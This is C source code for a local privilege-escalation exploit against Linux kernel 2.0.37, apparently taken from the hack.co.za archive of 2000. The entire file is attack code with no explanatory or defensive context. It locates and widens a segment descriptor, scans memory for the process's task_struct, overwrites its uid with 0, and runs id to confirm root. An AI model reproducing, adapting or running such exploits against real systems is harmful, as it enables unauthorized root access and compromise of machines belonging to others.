/* get local root on machines running kernel 2.0.37 */
#define __KERNEL__
#include <linux/sched.h>
#undef __KERNEL__
#include <unistd.h>
#include <grp.h>
#include <stdio.h>
#include <signal.h>
#include <sys/resource.h>

void die1()
{
  puts("\nFailed: probably not vulnerable");
  exit(1);
}

void die2()
{
  puts("\nVulnerable, but failed to exploit");
  exit(1);
}

int main()
{
  int *sp = (int *)&sp;
  int *d = sp;
  struct task_struct *task = (struct task_struct *)sp;
  int pid, uid;
  struct rlimit old, new;

  setbuf(stdout, NULL);
  printf("Searching for the descriptor... ");

  signal(SIGSEGV, die1);

  while ((d[0] & 0xFFF0FFFF) != 0x00C0FB00 &&
         (d[2] & 0xFFF0FFFF) != 0x00C0F300) d++;

  signal(SIGSEGV, die2);

  printf("found at %p\nExtending its limit... ", d + 2);

  d[2] |= 0xF0000;

  printf("done\nSearching for task_struct... ");

  pid = getpid();
  uid = getuid();

  if (getrlimit(RLIMIT_FSIZE, &old))
    {
      perror("getrlimit");
      return 1;
    }

search:
  new = old;
  new.rlim_cur--;
  if (setrlimit(RLIMIT_FSIZE, &new))
    new.rlim_cur = old.rlim_cur;

  do
    {
      ((int *)task)++;
    }
  while (task->pid != pid || task->uid != uid);

  if (task->rlim[RLIMIT_FSIZE].rlim_cur != new.rlim_cur) goto search;

  if (setrlimit(RLIMIT_FSIZE, &old))
    {
      perror("setrlimit");
      return 1;
    }

  if (task->rlim[RLIMIT_FSIZE].rlim_cur != old.rlim_cur) goto search;

  printf("found at %p\nPatching the UID... ", task);

  task->uid = 0;
  setuid(0);
  setgid(0);
  setgroups(0, NULL);

  puts("done");

  execl("/usr/bin/id", "id", NULL);
  return 1;
}

/*                    www.hack.co.za              [2000]*/